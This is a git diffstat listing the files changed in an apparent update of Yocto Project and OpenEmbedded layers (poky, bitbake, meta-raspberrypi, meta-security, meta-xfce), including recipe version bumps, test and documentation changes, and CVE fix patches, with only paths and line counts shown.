-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/systemload/xfce4-systemload-plugin/convert-gulong.patch39
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/systemload/xfce4-systemload-plugin_1.3.2.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/systemload/xfce4-systemload-plugin_1.3.1.bb)3
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/time-out/xfce4-time-out-plugin_1.1.3.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/time-out/xfce4-time-out-plugin_1.1.2.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/timer/xfce4-timer-plugin_1.7.2.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/timer/xfce4-timer-plugin_1.7.1.bb)5
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/verve/xfce4-verve-plugin_2.0.3.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/verve/xfce4-verve-plugin_2.0.1.bb)4
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/weather/xfce4-weather-plugin_0.11.1.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/weather/xfce4-weather-plugin_0.11.0.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-thunar-plugins/archive/thunar-archive-plugin_0.5.2.bb (renamed from meta-openembedded/meta-xfce/recipes-thunar-plugins/archive/thunar-archive-plugin_0.5.1.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-thunar-plugins/shares/files/0001-build-Bump-GLib-minimum-required-to-2.26.patch34
-rw-r--r--meta-openembedded/meta-xfce/recipes-thunar-plugins/shares/thunar-shares-plugin_0.3.2.bb (renamed from meta-openembedded/meta-xfce/recipes-thunar-plugins/shares/thunar-shares-plugin_0.3.1.bb)3
-rw-r--r--meta-openembedded/meta-xfce/recipes-xfce/exo/exo_4.19.0.bb (renamed from meta-openembedded/meta-xfce/recipes-xfce/exo/exo_4.18.0.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-xfce/garcon/garcon_4.19.0.bb (renamed from meta-openembedded/meta-xfce/recipes-xfce/garcon/garcon_4.18.1.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-xfce/libxfce4ui/libxfce4ui_4.19.3.bb (renamed from meta-openembedded/meta-xfce/recipes-xfce/libxfce4ui/libxfce4ui_4.18.3.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-xfce/libxfce4util/libxfce4util_4.19.2.bb (renamed from meta-openembedded/meta-xfce/recipes-xfce/libxfce4util/libxfce4util_4.18.1.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-xfce/thunar/thunar_4.19.0.bb (renamed from meta-openembedded/meta-xfce/recipes-xfce/thunar/thunar_4.18.4.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-xfce/xfce4-appfinder/xfce4-appfinder_4.19.1.bb (renamed from meta-openembedded/meta-xfce/recipes-xfce/xfce4-appfinder/xfce4-appfinder_4.18.0.bb)2
-rw-r--r--meta-raspberrypi/.readthedocs.yaml5
-rw-r--r--meta-raspberrypi/conf/machine/include/rpi-base.inc3
-rw-r--r--meta-raspberrypi/dynamic-layers/multimedia-layer/recipes-multimedia/rpidistro-vlc/files/3010-po-Fix-typos-in-oc.po-for-gettext-compatibility.patch59
-rw-r--r--meta-raspberrypi/dynamic-layers/multimedia-layer/recipes-multimedia/rpidistro-vlc/rpidistro-vlc_3.0.17.bb1
-rw-r--r--meta-raspberrypi/recipes-bsp/bootfiles/rpi-config/0001-config.txt-reintroduce-start_x.patch55
-rw-r--r--meta-raspberrypi/recipes-bsp/bootfiles/rpi-config_git.bb3
-rw-r--r--meta-raspberrypi/recipes-bsp/rpi-eeprom/files/0001-Fix-rpi-eeprom-update-when-using-busybox-find.patch36
-rw-r--r--meta-raspberrypi/recipes-bsp/rpi-eeprom/rpi-eeprom_git.bb20
-rw-r--r--meta-raspberrypi/recipes-kernel/linux/files/default-cpu-governor.cfg9
-rw-r--r--meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi-v7_5.10.bb6
-rw-r--r--meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi.inc1
-rw-r--r--meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi_5.10.bb19
-rw-r--r--meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi_6.1.bb6
-rw-r--r--meta-security/meta-integrity/classes/ima-evm-rootfs.bbclass12
-rw-r--r--meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service-crates.inc736
-rw-r--r--meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service_1.3.0.bb (renamed from meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service_1.2.0.bb)2
-rw-r--r--meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool-crates.inc544
-rw-r--r--meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool_0.7.0.bb (renamed from meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool_0.6.0.bb)2
-rw-r--r--meta-security/recipes-ids/samhain/samhain.inc4
-rw-r--r--poky/.gitignore2
-rw-r--r--poky/.vscode/settings.json32
-rw-r--r--poky/SECURITY.md22
-rw-r--r--poky/bitbake/SECURITY.md24
-rwxr-xr-xpoky/bitbake/bin/bitbake-hashclient145
-rwxr-xr-xpoky/bitbake/bin/bitbake-hashserv132
-rwxr-xr-xpoky/bitbake/bin/bitbake-worker34
-rwxr-xr-xpoky/bitbake/bin/toaster12
-rw-r--r--poky/bitbake/lib/bb/asyncrpc/__init__.py33
-rw-r--r--poky/bitbake/lib/bb/asyncrpc/client.py120
-rw-r--r--poky/bitbake/lib/bb/asyncrpc/connection.py146
-rw-r--r--poky/bitbake/lib/bb/asyncrpc/exceptions.py21
-rw-r--r--poky/bitbake/lib/bb/asyncrpc/serv.py370
-rw-r--r--poky/bitbake/lib/bb/cache.py6
-rw-r--r--poky/bitbake/lib/bb/codeparser.py5
-rw-r--r--poky/bitbake/lib/bb/command.py8
-rw-r--r--poky/bitbake/lib/bb/cooker.py36
-rw-r--r--poky/bitbake/lib/bb/cookerdata.py11
-rw-r--r--poky/bitbake/lib/bb/fetch2/__init__.py80
-rw-r--r--poky/bitbake/lib/bb/fetch2/crate.py2
-rw-r--r--poky/bitbake/lib/bb/fetch2/git.py28
-rw-r--r--poky/bitbake/lib/bb/fetch2/gitsm.py4
-rw-r--r--poky/bitbake/lib/bb/fetch2/hg.py1
-rw-r--r--poky/bitbake/lib/bb/fetch2/npm.py1
-rw-r--r--poky/bitbake/lib/bb/fetch2/npmsw.py3
-rw-r--r--poky/bitbake/lib/bb/runqueue.py93
-rw-r--r--poky/bitbake/lib/bb/tests/fetch.py136
-rw-r--r--poky/bitbake/lib/bb/utils.py16
-rw-r--r--poky/bitbake/lib/codegen.py12
-rw-r--r--poky/bitbake/lib/hashserv/__init__.py190
-rw-r--r--poky/bitbake/lib/hashserv/client.py147
-rw-r--r--poky/bitbake/lib/hashserv/server.py952
-rw-r--r--poky/bitbake/lib/hashserv/sqlalchemy.py427
-rw-r--r--poky/bitbake/lib/hashserv/sqlite.py408
-rw-r--r--poky/bitbake/lib/hashserv/tests.py736
-rw-r--r--poky/bitbake/lib/prserv/client.py8
-rw-r--r--poky/bitbake/lib/prserv/serv.py39
-rw-r--r--poky/bitbake/lib/toaster/orm/models.py5
-rw-r--r--poky/bitbake/lib/toaster/pytest.ini19
-rw-r--r--poky/bitbake/lib/toaster/tests/browser/selenium_helpers_base.py8
-rw-r--r--poky/bitbake/lib/toaster/tests/browser/test_all_builds_page.py262
-rw-r--r--poky/bitbake/lib/toaster/tests/browser/test_all_projects_page.py126
-rw-r--r--poky/bitbake/lib/toaster/tests/browser/test_delete_project.py103
-rw-r--r--poky/bitbake/lib/toaster/tests/browser/test_landing_page.py121
-rw-r--r--poky/bitbake/lib/toaster/tests/browser/test_layerdetails_page.py2
-rw-r--r--poky/bitbake/lib/toaster/tests/browser/test_most_recent_builds_states.py5
-rw-r--r--poky/bitbake/lib/toaster/tests/browser/test_new_custom_image_page.py4
-rw-r--r--poky/bitbake/lib/toaster/tests/browser/test_sample.py9
-rw-r--r--poky/bitbake/lib/toaster/tests/builds/buildtest.py9
-rw-r--r--poky/bitbake/lib/toaster/tests/functional/functional_helpers.py6
-rw-r--r--poky/bitbake/lib/toaster/tests/functional/test_create_new_project.py177
-rw-r--r--poky/bitbake/lib/toaster/tests/functional/test_functional_basic.py37
-rw-r--r--poky/bitbake/lib/toaster/tests/functional/test_project_page.py247
-rw-r--r--poky/bitbake/lib/toaster/tests/functional/test_project_page_tab_config.py578
-rw-r--r--poky/bitbake/lib/toaster/tests/toaster-tests-requirements.txt6
-rw-r--r--poky/bitbake/lib/toaster/tests/views/test_views.py10
-rw-r--r--poky/bitbake/lib/toaster/toastergui/fixtures/toastergui-unittest-data.xml16
-rw-r--r--poky/bitbake/lib/toaster/toastergui/static/js/bootstrap-3.4.1.js (renamed from poky/bitbake/lib/toaster/toastergui/static/js/bootstrap.js)431
-rw-r--r--poky/bitbake/lib/toaster/toastergui/static/js/bootstrap-3.4.1.min.js6
-rw-r--r--poky/bitbake/lib/toaster/toastergui/static/js/bootstrap.min.js7
-rw-r--r--poky/bitbake/lib/toaster/toastergui/static/js/jquery-3.7.1.min.js2
-rw-r--r--poky/bitbake/lib/toaster/toastergui/static/js/jquery-3.7.1.min.map1
-rw-r--r--poky/bitbake/lib/toaster/toastergui/static/js/libtoaster.js2
-rw-r--r--poky/bitbake/lib/toaster/toastergui/static/js/projectpage.js2
-rw-r--r--poky/bitbake/lib/toaster/toastergui/templates/base.html6
-rw-r--r--poky/bitbake/lib/toaster/toastergui/templates/base_specific.html4
-rw-r--r--poky/bitbake/lib/toaster/toastergui/templates/js-unit-tests.html2
-rw-r--r--poky/bitbake/lib/toaster/toastergui/templates/landing.html2
-rw-r--r--poky/bitbake/lib/toaster/toastergui/templates/mrb_section.html2
-rw-r--r--poky/bitbake/lib/toaster/toastergui/templates/package_built_dependencies.html8
-rw-r--r--poky/bitbake/lib/toaster/toastergui/templates/package_included_dependencies.html8
-rw-r--r--poky/bitbake/lib/toaster/toastergui/templates/package_included_reverse_dependencies.html4
-rw-r--r--poky/bitbake/lib/toaster/toastergui/templates/recipe.html4
-rw-r--r--poky/bitbake/lib/toaster/toastergui/templates/target.html4
-rw-r--r--poky/bitbake/lib/toaster/toastermain/logs.py17
-rw-r--r--poky/bitbake/lib/toaster/toastermain/settings.py13
-rw-r--r--poky/bitbake/lib/toaster/toastermain/settings_test.py4
-rw-r--r--poky/bitbake/lib/toaster/tox.ini24
-rw-r--r--poky/bitbake/toaster-requirements.txt1
-rw-r--r--poky/documentation/brief-yoctoprojectqs/index.rst2
-rw-r--r--poky/documentation/bsp-guide/bsp.rst117
-rw-r--r--poky/documentation/contributor-guide/submit-changes.rst40
-rw-r--r--poky/documentation/dev-manual/index.rst1
-rw-r--r--poky/documentation/dev-manual/layers.rst14
-rw-r--r--poky/documentation/dev-manual/new-machine.rst2
-rw-r--r--poky/documentation/dev-manual/new-recipe.rst4
-rw-r--r--poky/documentation/dev-manual/runtime-testing.rst8
-rw-r--r--poky/documentation/dev-manual/security-subjects.rst189
-rw-r--r--poky/documentation/dev-manual/start.rst24
-rw-r--r--poky/documentation/dev-manual/vulnerabilities.rst114
-rw-r--r--poky/documentation/dev-manual/wic.rst28
-rw-r--r--poky/documentation/kernel-dev/advanced.rst3
-rw-r--r--poky/documentation/kernel-dev/common.rst42
-rw-r--r--poky/documentation/migration-guides/migration-4.3.rst157
-rw-r--r--poky/documentation/migration-guides/release-4.0.rst1
-rw-r--r--poky/documentation/migration-guides/release-4.2.rst1
-rw-r--r--poky/documentation/migration-guides/release-notes-4.0.14.rst227
-rw-r--r--poky/documentation/migration-guides/release-notes-4.2.4.rst364
-rw-r--r--poky/documentation/migration-guides/release-notes-4.3.rst897
-rw-r--r--poky/documentation/overview-manual/concepts.rst170
-rw-r--r--poky/documentation/overview-manual/svg/bitbake_tasks_map.svg4
-rw-r--r--poky/documentation/poky.yaml.in12
-rw-r--r--poky/documentation/profile-manual/intro.rst40
-rw-r--r--poky/documentation/ref-manual/classes.rst27
-rw-r--r--poky/documentation/ref-manual/features.rst6
-rw-r--r--poky/documentation/ref-manual/qa-checks.rst11
-rw-r--r--poky/documentation/ref-manual/svg/releases.svg32
-rw-r--r--poky/documentation/ref-manual/variables.rst287
-rw-r--r--poky/documentation/sdk-manual/appendix-obtain.rst50
-rwxr-xr-xpoky/documentation/set_versions.py6
-rw-r--r--poky/documentation/test-manual/reproducible-builds.rst11
-rw-r--r--poky/documentation/what-i-wish-id-known.rst5
-rw-r--r--poky/meta-poky/conf/distro/poky-tiny.conf2
-rw-r--r--poky/meta-poky/conf/distro/poky.conf4
-rw-r--r--poky/meta-poky/conf/templates/default/local.conf.sample13
-rw-r--r--poky/meta-selftest/classes/base-do-configure-modified.bbclass3
-rw-r--r--poky/meta-selftest/files/static-group1
-rw-r--r--poky/meta-selftest/files/static-passwd1
-rw-r--r--poky/meta-selftest/recipes-test/gcc-source/gcc-source_%.bbappend2
-rw-r--r--poky/meta-selftest/recipes-test/quilt-native/quilt-native_%.bbappend2
-rw-r--r--poky/meta-yocto-bsp/conf/machine/beaglebone-yocto.conf1
-rw-r--r--poky/meta-yocto-bsp/conf/machine/genericx86-64.conf1
-rw-r--r--poky/meta/classes-global/base.bbclass2
-rw-r--r--poky/meta/classes-global/debian.bbclass15
-rw-r--r--poky/meta/classes-global/insane.bbclass105
-rw-r--r--poky/meta/classes-global/package.bbclass1
-rw-r--r--poky/meta/classes-global/package_deb.bbclass4
-rw-r--r--poky/meta/classes-global/package_ipk.bbclass10
-rw-r--r--poky/meta/classes-global/package_rpm.bbclass46
-rw-r--r--poky/meta/classes-global/sstate.bbclass12
-rw-r--r--poky/meta/classes-global/staging.bbclass2
-rw-r--r--poky/meta/classes-global/uninative.bbclass2
-rw-r--r--poky/meta/classes-recipe/autotools.bbclass2
-rw-r--r--poky/meta/classes-recipe/bin_package.bbclass3
-rw-r--r--poky/meta/classes-recipe/gnomebase.bbclass2
-rw-r--r--poky/meta/classes-recipe/go-mod.bbclass4
-rw-r--r--poky/meta/classes-recipe/goarch.bbclass29
-rw-r--r--poky/meta/classes-recipe/image_types.bbclass2
-rw-r--r--poky/meta/classes-recipe/kernel-arch.bbclass8
-rw-r--r--poky/meta/classes-recipe/kernel-yocto.bbclass32
-rw-r--r--poky/meta/classes-recipe/kernel.bbclass4
-rw-r--r--poky/meta/classes-recipe/meson.bbclass4
-rw-r--r--poky/meta/classes-recipe/populate_sdk_ext.bbclass82
-rw-r--r--poky/meta/classes-recipe/qemuboot.bbclass4
-rw-r--r--poky/meta/classes-recipe/rootfs-postcommands.bbclass4
-rw-r--r--poky/meta/classes-recipe/rust-common.bbclass2
-rw-r--r--poky/meta/classes/cve-check.bbclass2
-rw-r--r--poky/meta/classes/go-vendor.bbclass196
-rw-r--r--poky/meta/classes/useradd_base.bbclass2
-rw-r--r--poky/meta/conf/bitbake.conf16
-rw-r--r--poky/meta/conf/ccache.conf1
-rw-r--r--poky/meta/conf/distro/include/maintainers.inc2
-rw-r--r--poky/meta/conf/distro/include/ptest-packagelists.inc2
-rw-r--r--poky/meta/conf/distro/include/security_flags.inc1
-rw-r--r--poky/meta/conf/documentation.conf1
-rw-r--r--poky/meta/conf/layer.conf2
-rw-r--r--poky/meta/conf/machine-sdk/riscv64.conf2
-rw-r--r--poky/meta/conf/machine/include/riscv/qemuriscv.inc2
-rw-r--r--poky/meta/conf/machine/qemuarmv5.conf2
-rw-r--r--poky/meta/files/fs-perms-persistent-log.txt1
-rw-r--r--poky/meta/files/fs-perms.txt1
-rw-r--r--poky/meta/lib/bblayers/setupwriters/oe-setup-layers.py2
-rw-r--r--poky/meta/lib/oe/__init__.py2
-rw-r--r--poky/meta/lib/oe/buildcfg.py11
-rw-r--r--poky/meta/lib/oe/copy_buildsystem.py2
-rw-r--r--poky/meta/lib/oe/cve_check.py13
-rw-r--r--poky/meta/lib/oe/go.py34
-rw-r--r--poky/meta/lib/oe/package.py3
-rw-r--r--poky/meta/lib/oe/patch.py7
-rw-r--r--poky/meta/lib/oe/path.py3
-rw-r--r--poky/meta/lib/oe/sstatesig.py11
-rw-r--r--poky/meta/lib/oe/utils.py12
-rw-r--r--poky/meta/lib/oeqa/core/target/ssh.py17
-rw-r--r--poky/meta/lib/oeqa/runtime/cases/parselogs.py6
-rw-r--r--poky/meta/lib/oeqa/runtime/cases/ssh.py3
-rw-r--r--poky/meta/lib/oeqa/sdk/cases/rust.py22
-rw-r--r--poky/meta/lib/oeqa/selftest/case.py12
-rw-r--r--poky/meta/lib/oeqa/selftest/cases/archiver.py2
-rw-r--r--poky/meta/lib/oeqa/selftest/cases/buildoptions.py2
-rw-r--r--poky/meta/lib/oeqa/selftest/cases/debuginfod.py124
-rw-r--r--poky/meta/lib/oeqa/selftest/cases/devtool.py12
-rw-r--r--poky/meta/lib/oeqa/selftest/cases/recipetool.py326
-rw-r--r--poky/meta/lib/oeqa/selftest/cases/reproducible.py18
-rw-r--r--poky/meta/lib/oeqa/selftest/cases/signing.py2
-rw-r--r--poky/meta/lib/oeqa/selftest/cases/sstatetests.py157
-rw-r--r--poky/meta/lib/oeqa/selftest/cases/tinfoil.py25
-rw-r--r--poky/meta/lib/oeqa/selftest/context.py51
-rw-r--r--poky/meta/lib/oeqa/utils/qemurunner.py12
-rw-r--r--poky/meta/lib/patchtest/data.py86
-rw-r--r--poky/meta/lib/patchtest/patch.py62
-rw-r--r--poky/meta/lib/patchtest/repo.py174
-rw-r--r--poky/meta/lib/patchtest/requirements.txt2
-rw-r--r--poky/meta/lib/patchtest/selftest/files/CVE.test_cve_presence_in_commit_message.fail72
-rw-r--r--poky/meta/lib/patchtest/selftest/files/CVE.test_cve_presence_in_commit_message.pass74
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.fail (renamed from poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.1.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.pass (renamed from poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.1.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.fail (renamed from poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.2.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.pass (renamed from poky/meta/lib/patchtest/selftest/files/Author.test_author_valid.2.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.fail (renamed from poky/meta/lib/patchtest/selftest/files/Bugzilla.test_bugzilla_entry_format.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.pass (renamed from poky/meta/lib/patchtest/selftest/files/Bugzilla.test_bugzilla_entry_format.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.fail (renamed from poky/meta/lib/patchtest/selftest/files/CommitMessage.test_commit_message_presence.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.pass (renamed from poky/meta/lib/patchtest/selftest/files/CommitMessage.test_commit_message_presence.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.1.fail (renamed from poky/meta/lib/patchtest/selftest/files/MboxFormat.test_mbox_format.1.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.2.fail (renamed from poky/meta/lib/patchtest/selftest/files/MboxFormat.test_mbox_format.2.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.pass (renamed from poky/meta/lib/patchtest/selftest/files/MboxFormat.test_mbox_format.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.1.skip (renamed from poky/meta/lib/patchtest/selftest/files/Merge.test_series_merge_on_head.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_series_merge_on_head.2.skip (renamed from poky/meta/lib/patchtest/selftest/files/Merge.test_series_merge_on_head.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.fail (renamed from poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_format.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_format.pass (renamed from poky/meta/lib/patchtest/selftest/files/CVE.test_cve_tag_format.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.fail (renamed from poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_length.fail)2
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_shortlog_length.pass (renamed from poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_format.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.1.fail (renamed from poky/meta/lib/patchtest/selftest/files/SignedOffBy.test_signed_off_by_presence.1.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.2.fail (renamed from poky/meta/lib/patchtest/selftest/files/SignedOffBy.test_signed_off_by_presence.2.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMbox.test_signed_off_by_presence.pass (renamed from poky/meta/lib/patchtest/selftest/files/PatchSignedOffBy.test_signed_off_by_presence.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.fail (renamed from poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_modified_not_mentioned.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.pass (renamed from poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_modified_not_mentioned.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.fail (renamed from poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_presence.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.pass (renamed from poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_presence.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.fail (renamed from poky/meta/lib/patchtest/selftest/files/SrcUri.test_src_uri_left_files.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.pass (renamed from poky/meta/lib/patchtest/selftest/files/SrcUri.test_src_uri_left_files.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.fail (renamed from poky/meta/lib/patchtest/selftest/files/Summary.test_summary_presence.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.pass (renamed from poky/meta/lib/patchtest/selftest/files/Summary.test_summary_presence.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.fail (renamed from poky/meta/lib/patchtest/selftest/files/CVE.test_cve_tag_format.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.pass (renamed from poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_length.pass)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.fail (renamed from poky/meta/lib/patchtest/selftest/files/PatchSignedOffBy.test_signed_off_by_presence.fail)0
-rw-r--r--poky/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.pass (renamed from poky/meta/lib/patchtest/selftest/files/SignedOffBy.test_signed_off_by_presence.pass)0
-rwxr-xr-xpoky/meta/lib/patchtest/selftest/selftest17
-rw-r--r--poky/meta/lib/patchtest/tests/base.py2
-rw-r--r--poky/meta/lib/patchtest/tests/pyparsing/common.py2
-rw-r--r--poky/meta/lib/patchtest/tests/pyparsing/parse_cve_tags.py2
-rw-r--r--poky/meta/lib/patchtest/tests/pyparsing/parse_shortlog.py2
-rw-r--r--poky/meta/lib/patchtest/tests/pyparsing/parse_signed_off_by.py2
-rw-r--r--poky/meta/lib/patchtest/tests/pyparsing/parse_upstream_status.py2
-rw-r--r--poky/meta/lib/patchtest/tests/test_mbox.py159
-rw-r--r--poky/meta/lib/patchtest/tests/test_mbox_author.py29
-rw-r--r--poky/meta/lib/patchtest/tests/test_mbox_bugzilla.py22
-rw-r--r--poky/meta/lib/patchtest/tests/test_mbox_cve.py49
-rw-r--r--poky/meta/lib/patchtest/tests/test_mbox_description.py17
-rw-r--r--poky/meta/lib/patchtest/tests/test_mbox_format.py16
-rw-r--r--poky/meta/lib/patchtest/tests/test_mbox_mailinglist.py64
-rw-r--r--poky/meta/lib/patchtest/tests/test_mbox_merge.py25
-rw-r--r--poky/meta/lib/patchtest/tests/test_mbox_shortlog.py41
-rw-r--r--poky/meta/lib/patchtest/tests/test_mbox_signed_off_by.py28
-rw-r--r--poky/meta/lib/patchtest/tests/test_metadata.py180
-rw-r--r--poky/meta/lib/patchtest/tests/test_metadata_lic_files_chksum.py82
-rw-r--r--poky/meta/lib/patchtest/tests/test_metadata_license.py55
-rw-r--r--poky/meta/lib/patchtest/tests/test_metadata_max_length.py26
-rw-r--r--poky/meta/lib/patchtest/tests/test_metadata_src_uri.py75
-rw-r--r--poky/meta/lib/patchtest/tests/test_metadata_summary.py32
-rw-r--r--poky/meta/lib/patchtest/tests/test_patch.py (renamed from poky/meta/lib/patchtest/tests/test_patch_upstream_status.py)62
-rw-r--r--poky/meta/lib/patchtest/tests/test_patch_cve.py51
-rw-r--r--poky/meta/lib/patchtest/tests/test_patch_signed_off_by.py43
-rw-r--r--poky/meta/lib/patchtest/tests/test_python_pylint.py24
-rw-r--r--poky/meta/lib/patchtest/utils.py168
-rw-r--r--poky/meta/recipes-bsp/grub/files/CVE-2023-4692.patch98
-rw-r--r--poky/meta/recipes-bsp/grub/files/CVE-2023-4693.patch63
-rw-r--r--poky/meta/recipes-bsp/grub/grub2.inc2
-rw-r--r--poky/meta/recipes-bsp/opensbi/opensbi_1.3.bb (renamed from poky/meta/recipes-bsp/opensbi/opensbi_1.2.bb)4
-rw-r--r--poky/meta/recipes-bsp/u-boot/libubootenv_0.3.5.bb (renamed from poky/meta/recipes-bsp/u-boot/libubootenv_0.3.4.bb)2
-rw-r--r--poky/meta/recipes-connectivity/avahi/avahi_0.8.bb5
-rw-r--r--poky/meta/recipes-connectivity/avahi/files/CVE-2023-38469.patch48
-rw-r--r--poky/meta/recipes-connectivity/avahi/files/CVE-2023-38470.patch59
-rw-r--r--poky/meta/recipes-connectivity/avahi/files/CVE-2023-38471.patch73
-rw-r--r--poky/meta/recipes-connectivity/avahi/files/CVE-2023-38472.patch46
-rw-r--r--poky/meta/recipes-connectivity/avahi/files/CVE-2023-38473.patch110
-rw-r--r--poky/meta/recipes-connectivity/bluez5/bluez5_5.70.bb (renamed from poky/meta/recipes-connectivity/bluez5/bluez5_5.69.bb)2
-rw-r--r--poky/meta/recipes-connectivity/dhcpcd/dhcpcd_10.0.5.bb (renamed from poky/meta/recipes-connectivity/dhcpcd/dhcpcd_10.0.2.bb)3
-rw-r--r--poky/meta/recipes-connectivity/dhcpcd/files/0001-privsep-fix-strlcpy-overflow-in-psp_ifname-239.patch33
-rw-r--r--poky/meta/recipes-connectivity/iproute2/iproute2_6.6.0.bb (renamed from poky/meta/recipes-connectivity/iproute2/iproute2_6.5.0.bb)2
-rw-r--r--poky/meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service1
-rw-r--r--poky/meta/recipes-connectivity/libuv/libuv_1.47.0.bb (renamed from poky/meta/recipes-connectivity/libuv/libuv_1.46.0.bb)2
-rw-r--r--poky/meta/recipes-connectivity/openssh/openssh/0001-systemd-Add-optional-support-for-systemd-sd_notify.patch99
-rw-r--r--poky/meta/recipes-connectivity/openssh/openssh/sshd.service17
-rw-r--r--poky/meta/recipes-connectivity/openssh/openssh_9.5p1.bb (renamed from poky/meta/recipes-connectivity/openssh/openssh_9.4p1.bb)11
-rw-r--r--poky/meta/recipes-connectivity/openssl/openssl/0001-Added-handshake-history-reporting-when-test-fails.patch374
-rw-r--r--poky/meta/recipes-connectivity/openssl/openssl/0001-Link-libatomic-on-riscv32.patch35
-rw-r--r--poky/meta/recipes-connectivity/openssl/openssl_3.1.4.bb (renamed from poky/meta/recipes-connectivity/openssl/openssl_3.1.3.bb)8
-rw-r--r--poky/meta/recipes-core/base-files/base-files/0001-add-nss-resolve-to-nsswitch.patch31
-rw-r--r--poky/meta/recipes-core/base-files/base-files/profile16
-rw-r--r--poky/meta/recipes-core/base-files/base-files_3.0.14.bb6
-rw-r--r--poky/meta/recipes-core/base-passwd/base-passwd/0006-Make-it-possible-to-configure-whether-to-use-SELinux.patch35
-rw-r--r--poky/meta/recipes-core/base-passwd/base-passwd_3.6.2.bb (renamed from poky/meta/recipes-core/base-passwd/base-passwd_3.6.1.bb)3
-rw-r--r--poky/meta/recipes-core/ell/ell_0.59.bb (renamed from poky/meta/recipes-core/ell/ell_0.58.bb)2
-rw-r--r--poky/meta/recipes-core/gettext/gettext/use-pkgconfig.patch319
-rw-r--r--poky/meta/recipes-core/gettext/gettext_0.22.bb6
